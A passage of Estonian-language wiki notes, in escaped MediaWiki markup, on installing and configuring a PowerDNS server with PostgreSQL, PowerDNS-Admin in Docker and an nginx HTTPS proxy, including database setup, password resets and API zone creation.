Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
pdns-backend-bind seadistatakse failist&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.d/bind.conf &lt;br /&gt;
 launch+=bind&lt;br /&gt;
 bind-config=/etc/powerdns/named.conf&lt;br /&gt;
 bind-supermaster-config=/var/lib/powerdns/supermaster.conf&lt;br /&gt;
 bind-supermaster-destdir=/var/lib/powerdns/zones.slave.d&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/named.conf - tsoonide nimekiri&lt;br /&gt;
* /var/lib/powerdns/supermaster.conf - lihtsal juhul tühi&lt;br /&gt;
* /var/lib/powerdns/zones.slave.d - BIND formaadis tsoonifailide kataloog&lt;br /&gt;
&lt;br /&gt;
Tsoonide haldamisega tegeleb edasi allpool olev punkt.&lt;br /&gt;
&lt;br /&gt;
====Poweradmin====&lt;br /&gt;
&lt;br /&gt;
Märkus: tõenäoliselt ei ole Poweradmin tarvkara kasutamine hea mõte kuna rakendus sodib otse PowerDNS andmebaasis ja 2016 aasta sügisel on hakanud tekkima paremaid alternatiive, nt nsedit.&lt;br /&gt;
&lt;br /&gt;
Poweradmin kasutamiseks peab PowerDNS kasutama SQL andmebaasi ja Poweradmin peab töötama vastu sama andmebaasi. Tundub, et Poweradmin töötab paremini MySQL + PHP5 keskkonnas. Kui Poweradmin PHP rakendus töötab teises arvutis kui MySQL baas, sobib baasis öelda&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'%' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'localhost' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
 Added retrieval request for 'moraal.ee.' from master 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-powerdns-with-a-mariadb-backend-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
====Tsooni andmestikust otsing====&lt;br /&gt;
&lt;br /&gt;
* Kõigi forward tsoonide sisust ip aadressi kasutamise leidmine&lt;br /&gt;
&lt;br /&gt;
 # for i in `pdns_control list-zones | grep -v All | grep -v in-addr`; do pdnsutil list-zone $i 2&amp;gt;&amp;amp;1 ; done | grep 10.20.123.154&lt;br /&gt;
 ftp.moraal.ee	300	IN	A	10.20.123.154&lt;br /&gt;
&lt;br /&gt;
===2024 aasta kevade tähelepanekud===&lt;br /&gt;
&lt;br /&gt;
Eesmärk&lt;br /&gt;
&lt;br /&gt;
* ühe operatsioonisüteemi peal kompaktselt lahenduse pidamine - Debian v. 12&lt;br /&gt;
* dns server - PowerDNS&lt;br /&gt;
* webgui haldusliides - PowerDNS-Admin (PDA)&lt;br /&gt;
* dnssec võimekus&lt;br /&gt;
* docker abil kasutatakse konteinerit (PDA)&lt;br /&gt;
* andmeid hoitakse PostgreSQL andmebaasis&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* dnssec kasutab algoritmi nr 13&lt;br /&gt;
* NSEC3 kasutab '1 0 0 -' seadistust&lt;br /&gt;
* sekundaarsete nimeserveritega suhtlemine toimub catalog-zones abil&lt;br /&gt;
* kasutatakse KSK/ZSK ja CSK lähenemist võtmete pidamisel&lt;br /&gt;
&lt;br /&gt;
Protseduuride võimekus&lt;br /&gt;
&lt;br /&gt;
* NSEC, NSEC3 ja NSEC3 param väärtuste muutmine&lt;br /&gt;
* võtme vahetus&lt;br /&gt;
* krüptimise algoritmi vahetus&lt;br /&gt;
&lt;br /&gt;
====Platvormi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
Platvorm koosneb&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 operatsioonisüsteem&lt;br /&gt;
* Docker Community Edition&lt;br /&gt;
* PostgreSQL v. 12&lt;br /&gt;
* NginX&lt;br /&gt;
&lt;br /&gt;
PostgreSQL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-common&lt;br /&gt;
root@pdns:/tmp# mkdir /etc/postgresql-common/createcluster.d&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;initdb_options = '--data-checksums'&amp;quot; &amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;create_main_cluster = false&amp;quot; &amp;gt;&amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-16&lt;br /&gt;
root@pdns:/tmp# pg_createcluster --locale en_US.UTF-8 16 pgcluster_pdns_prod&lt;br /&gt;
 &lt;br /&gt;
postgres=# \x&lt;br /&gt;
Expanded display is on.&lt;br /&gt;
postgres=# \l postgres&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | postgres&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
ICU Locale        | &lt;br /&gt;
ICU Rules         | &lt;br /&gt;
Access privileges | &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pdns login;&lt;br /&gt;
sql&amp;gt; \password pdns&lt;br /&gt;
sql&amp;gt; create database db_pdns owner = pdns;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pda login;&lt;br /&gt;
sql&amp;gt; \password pda&lt;br /&gt;
sql&amp;gt; create database db_pda owner = pda;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS paigaldamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS ise ja tema tööks otseselt vajalikud komponendid (nt PostgreSQL andmebaas) töötavad nö tavalisel viisil operatsioonisüsteemi protsesside-teenustena st mitte-konteineritena.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install pdns-server pdns-backend-pgsql pdns-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse pdns server ja tema bind backend.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
PostgreSQL backend kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
Password for user pdns: &lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baasi ligipääs jms kirjeldatakse failis, https://doc.powerdns.com/authoritative/backends/generic-postgresql.html#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# egrep -v &amp;quot;^#|^$&amp;quot; /etc/powerdns/pdns.d/gpgsql.conf&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dbname=db_pdns&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-host=127.0.0.1&lt;br /&gt;
gpgsql-password=parool&lt;br /&gt;
gpgsql-port=5432&lt;br /&gt;
gpgsql-user=pdns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
bind eemaldamiseks sobib kustutada fail&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/powerdns/pdns.d/bind.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab pdns server, gpgsql backendiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2024-06-16T16:44:00.877817+03:00 pdns systemd[1]: Starting pdns.service - PowerDNS Authoritative Server...&lt;br /&gt;
2024-06-16T16:44:00.906026+03:00 pdns pdns_server[3916]: Loading '/usr/lib/x86_64-linux-gnu/pdns/libgpgsqlbackend.so'&lt;br /&gt;
2024-06-16T16:44:00.906356+03:00 pdns pdns_server[3916]: This is a standalone pdns&lt;br /&gt;
2024-06-16T16:44:00.906408+03:00 pdns pdns_server[3916]: Listening on controlsocket in '/run/pdns/pdns.controlsocket'&lt;br /&gt;
2024-06-16T16:44:00.906668+03:00 pdns pdns_server[3916]: UDP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906684+03:00 pdns pdns_server[3916]: UDP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906735+03:00 pdns pdns_server[3916]: TCP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906750+03:00 pdns pdns_server[3916]: TCP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906866+03:00 pdns pdns_server[3916]: PowerDNS Authoritative Server 4.9.1 (C) PowerDNS.COM BV&lt;br /&gt;
2024-06-16T16:44:00.906881+03:00 pdns pdns_server[3916]: Using 64-bits mode. Built using gcc 12.2.0 on May 28 2024 07:46:05 by root@localhost.&lt;br /&gt;
2024-06-16T16:44:00.906891+03:00 pdns pdns_server[3916]: PowerDNS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it according to the terms of the GPL version 2.&lt;br /&gt;
2024-06-16T16:44:00.915255+03:00 pdns pdns_server[3916]: Polled security status of version 4.9.1 at startup, no known issues reported: OK&lt;br /&gt;
2024-06-16T16:44:00.926644+03:00 pdns pdns_server[3916]: Creating backend connection for TCP&lt;br /&gt;
2024-06-16T16:44:00.935773+03:00 pdns pdns_server[3916]: About to create 3 backend threads for UDP&lt;br /&gt;
2024-06-16T16:44:00.935850+03:00 pdns systemd[1]: Started pdns.service - PowerDNS Authoritative Server.&lt;br /&gt;
2024-06-16T16:44:01.086206+03:00 pdns pdns_server[3916]: Done launching threads, ready to distribute questions&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ühtegi tsooni ei ole kirjeldatud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# pdnsutil list-all-zones&lt;br /&gt;
root@pdns:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seadistamisel tegeldakse&lt;br /&gt;
&lt;br /&gt;
* api sisselülitamine (PDA jaoks)&lt;br /&gt;
* SOA kirje vaikeväärtused&lt;br /&gt;
* DNSSEC vaike krüpto&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - PDA - docker====&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin tarvkara töötab docker konteinerina, aga kasutab host arvutist postgresql andmebaasi. Platvorm ettevalmistamine punktis on vajalik kasutaja ja create database tekitatud. PDA kasutamine eeldab, et PDNS juures on sisse lülitatud api liides (vaikimisi http liiklus üle port 8081).&lt;br /&gt;
&lt;br /&gt;
Docker compose fail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# cat docker-compose-pda.yml&lt;br /&gt;
services:&lt;br /&gt;
  svc_pda:&lt;br /&gt;
    image: powerdnsadmin/pda-legacy:v0.4.2&lt;br /&gt;
     &lt;br /&gt;
    container_name: cn_pda&lt;br /&gt;
    restart: always&lt;br /&gt;
    logging:&lt;br /&gt;
      driver: json-file&lt;br /&gt;
      options:&lt;br /&gt;
        max-size: 50m&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;9191:80&amp;quot;&lt;br /&gt;
    environment:&lt;br /&gt;
      - SECRET_KEY='saladus'&lt;br /&gt;
      - SQLALCHEMY_DATABASE_URI=postgresql://pda:pdaparool@192.168.10.53/pda&lt;br /&gt;
      - GUNICORN_TIMEOUT=60&lt;br /&gt;
      - GUNICORN_WORKERS=2&lt;br /&gt;
      - GUNICORN_LOGLEVEL=DEBUG&lt;br /&gt;
      - OFFLINE_MODE=False&lt;br /&gt;
      - CSRF_COOKIE_SECURE=False&lt;br /&gt;
 &lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_pda&lt;br /&gt;
       &lt;br /&gt;
networks:&lt;br /&gt;
  nw_pda:&lt;br /&gt;
    name: nw_pda&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # docker compose -f docker-compose-pda.yml up -d&lt;br /&gt;
&lt;br /&gt;
Tulemusena on aadressil http://192.168.10.53:9191/ PDA webgui sisselogimise ekraan. Pressida Create Account ja esimesena tekitatud kasutaja on admin privileegidega.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX operatsioonisüsteem====&lt;br /&gt;
&lt;br /&gt;
NginX https:// frontend kasutamiseks sobib kasutada sellist seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/etc/nginx/sites-enabled# cat /etc/nginx/sites-enabled/pdns &lt;br /&gt;
server {&lt;br /&gt;
    listen 80;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    if ($request_uri !~ /.well-known) {&lt;br /&gt;
      return 301 https://pdns.moraal.ee/;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
server {&lt;br /&gt;
    listen 443 ssl http2;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    ssl_certificate /etc/ssl/localcerts/pdns.moraal.ee.pem;&lt;br /&gt;
    ssl_certificate_key /etc/ssl/localcerts/pdns.moraal.ee.key;&lt;br /&gt;
    ssl_session_timeout 1d;&lt;br /&gt;
    ssl_session_cache shared:MozSSL:10m;&lt;br /&gt;
    ssl_session_tickets off;&lt;br /&gt;
    ssl_protocols TLSv1.2 TLSv1.3;&lt;br /&gt;
    ssl_prefer_server_ciphers off;&lt;br /&gt;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;&lt;br /&gt;
 &lt;br /&gt;
    client_max_body_size 25m;&lt;br /&gt;
 &lt;br /&gt;
    ssl_stapling off;&lt;br /&gt;
    add_header Strict-Transport-Security &amp;quot;max-age=63072000&amp;quot; always;&lt;br /&gt;
 &lt;br /&gt;
    access_log /var/log/nginx/access-pdns.moraal.ee-443.log;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    location / {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto https;&lt;br /&gt;
      proxy_pass http://192.168.10.53:9191;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX docker====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /srv/pdns/volume/nginx/etc/nginx/nginx.conf&lt;br /&gt;
# nginx.conf&lt;br /&gt;
&lt;br /&gt;
user nginx;&lt;br /&gt;
worker_processes auto;&lt;br /&gt;
error_log /dev/stderr;&lt;br /&gt;
pid /var/run/nginx.pid;&lt;br /&gt;
&lt;br /&gt;
events {&lt;br /&gt;
    worker_connections 1024;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
http {&lt;br /&gt;
    include       mime.types;&lt;br /&gt;
    default_type  application/octet-stream;&lt;br /&gt;
&lt;br /&gt;
    log_format  main  '$remote_addr - $remote_user [$time_local] &amp;quot;$request&amp;quot; '&lt;br /&gt;
                      '$status $body_bytes_sent &amp;quot;$http_referer&amp;quot; '&lt;br /&gt;
                      '&amp;quot;$http_user_agent&amp;quot; &amp;quot;$http_x_forwarded_for&amp;quot;';&lt;br /&gt;
    access_log /dev/stdout main;&lt;br /&gt;
&lt;br /&gt;
    sendfile        on;&lt;br /&gt;
    keepalive_timeout  65;&lt;br /&gt;
&lt;br /&gt;
    # Redirect HTTP to HTTPS&lt;br /&gt;
    server {&lt;br /&gt;
        listen 80;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        return 301 https://$host$request_uri;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    # HTTPS Configuration&lt;br /&gt;
    server {&lt;br /&gt;
        listen 443 ssl;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        http2 on;&lt;br /&gt;
        ssl_protocols TLSv1.3;&lt;br /&gt;
        ssl_prefer_server_ciphers on;&lt;br /&gt;
&lt;br /&gt;
        ssl_certificate /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.crt;&lt;br /&gt;
        ssl_certificate_key /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.key;&lt;br /&gt;
&lt;br /&gt;
        # Recommended security settings&lt;br /&gt;
        ssl_session_cache shared:SSL:10m;&lt;br /&gt;
        ssl_session_timeout 10m;&lt;br /&gt;
        ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305;&lt;br /&gt;
&lt;br /&gt;
        # Logging&lt;br /&gt;
        access_log /dev/stdout;&lt;br /&gt;
        error_log /dev/stdout;&lt;br /&gt;
&lt;br /&gt;
        # Reverse proxy to the destination&lt;br /&gt;
        location / {&lt;br /&gt;
            proxy_pass http://svc_pdns:8081;&lt;br /&gt;
            proxy_set_header Host $host;&lt;br /&gt;
            proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br /&gt;
            proxy_set_header X-Forwarded-Proto $scheme;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab pda webgui poole pöörduda aadressiga https://pdns.moraal.ee/.&lt;br /&gt;
&lt;br /&gt;
PDA kasutaja parooli muutmine postgresql baasis, nb rakendus kasutab tabeli nimena 'user', see on postgresql nö built-in objekt ja name clash ületamiseks tuleb pöörduda rakendusega seotud ressursi poole &amp;quot;user&amp;quot; abil, eriti koos skeemi prefiksiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql db_pda&lt;br /&gt;
pda=# select * from public.&amp;quot;user&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]------------------------------------------------------------&lt;br /&gt;
id         | 1&lt;br /&gt;
username   | admin&lt;br /&gt;
password   | $2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FF&lt;br /&gt;
firstname  | Imre&lt;br /&gt;
lastname   | Oolberg&lt;br /&gt;
email      | imre.oolberg@auul.pri.ee&lt;br /&gt;
otp_secret | &lt;br /&gt;
role_id    | 1&lt;br /&gt;
confirmed  | f&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
db_pda=# update public.&amp;quot;user&amp;quot; set password='$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC' where username='admin';&lt;br /&gt;
UPDATE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures password väärtus tekitatakse nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ htpasswd -bnBC 15 &amp;quot;&amp;quot; pdaparool | tr -d ':\n'&lt;br /&gt;
$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into &amp;quot;user&amp;quot; (username, password, firstname, lastname, email, role_id, confirmed) values ('admin',  '$2b$12$4M9qXQaWn95GTregvSO2v.I/1QQT0/Ayqt3jZsMp06FIa5dMme6Gu', 'Administrator', 'Administrator', 'priit@moraal.ee', 1, 'f');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pdns api kontakti lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_url', 'http://192.168.10.80:8081');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_key', 'apiparool');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_version', '4.9.11');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# select * from setting;&lt;br /&gt;
 id |     name     |         value&lt;br /&gt;
----+--------------+------------------------&lt;br /&gt;
  7 | pdns_api_url | http://192.168.10.80:8081&lt;br /&gt;
  8 | pdns_api_key | apiparool&lt;br /&gt;
  9 | pdns_version | 4.9.11&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA kasutamise privileegid====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Account - grupi taoline moodustis, praktiliselt võiks vastata domeeni omanik asutusele&lt;br /&gt;
* User - kasutaja taoline moodustis, vastab inimesele kes süsteemi kasutab&lt;br /&gt;
* User ja Account vaheliste seoste abil saab anda hulgale kasutajatele õiguse tegeleda hulga domeenidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@rv-xxx-01:/opt/pda/dc# docker exec -ti e8 sh&lt;br /&gt;
/app $ ps aux&lt;br /&gt;
PID   USER     TIME  COMMAND&lt;br /&gt;
    1 pda       0:00 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    7 pda       0:02 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    8 pda       0:01 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
&lt;br /&gt;
[2025-10-31 13:06:25,927] [record.py:61] ERROR - Cannot fetch zone's record data from remote powerdns api. DETAIL: HTTPSConnectionPool(host='rvxxx-01.test.moraal.ee', port=443): Max retries exceeded with url: /api/v1/servers/localhost/zones/imretest-03.ee (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1007)')))&lt;br /&gt;
&lt;br /&gt;
    volumes:&lt;br /&gt;
        #      - /opt/pda/volume/pda/etc/ssl/certs/ca-certificates.crt:/usr/lib/python3.10/site-packages/certifi/cacert.pem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA API liidese kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tsooni tekitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -s -L -H 'Content-Type: application/json' -H 'Authorization: Basic xxx' -X POST https://pda.moraal.ee/api/v1/pdnsadmin/zones \&lt;br /&gt;
    --data '{&amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;MASTER&amp;quot;, &amp;quot;nameservers&amp;quot;: [&amp;quot;ans1.moraal.ee.&amp;quot;, &amp;quot;ans2.moraal.ee.&amp;quot;]}' | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;api_rectify&amp;quot;: false,&lt;br /&gt;
  &amp;quot;catalog&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;dnssec&amp;quot;: false,&lt;br /&gt;
  &amp;quot;edited_serial&amp;quot;: 2026010802,&lt;br /&gt;
  &amp;quot;id&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;kind&amp;quot;: &amp;quot;Master&amp;quot;,&lt;br /&gt;
  &amp;quot;last_check&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;master_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;masters&amp;quot;: [],&lt;br /&gt;
  &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;notified_serial&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;nsec3narrow&amp;quot;: false,&lt;br /&gt;
  &amp;quot;nsec3param&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;rrsets&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee. hostmaster.moraal.ee. 2026010801 86400 7200 2419200 10800&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;SOA&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        },&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans2.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;NS&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
  ],&lt;br /&gt;
  &amp;quot;serial&amp;quot;: 2026010801,&lt;br /&gt;
  &amp;quot;slave_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;soa_edit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;soa_edit_api&amp;quot;: &amp;quot;DEFAULT&amp;quot;,&lt;br /&gt;
  &amp;quot;url&amp;quot;: &amp;quot;/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui pole ligipääsu saab sellise vastuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
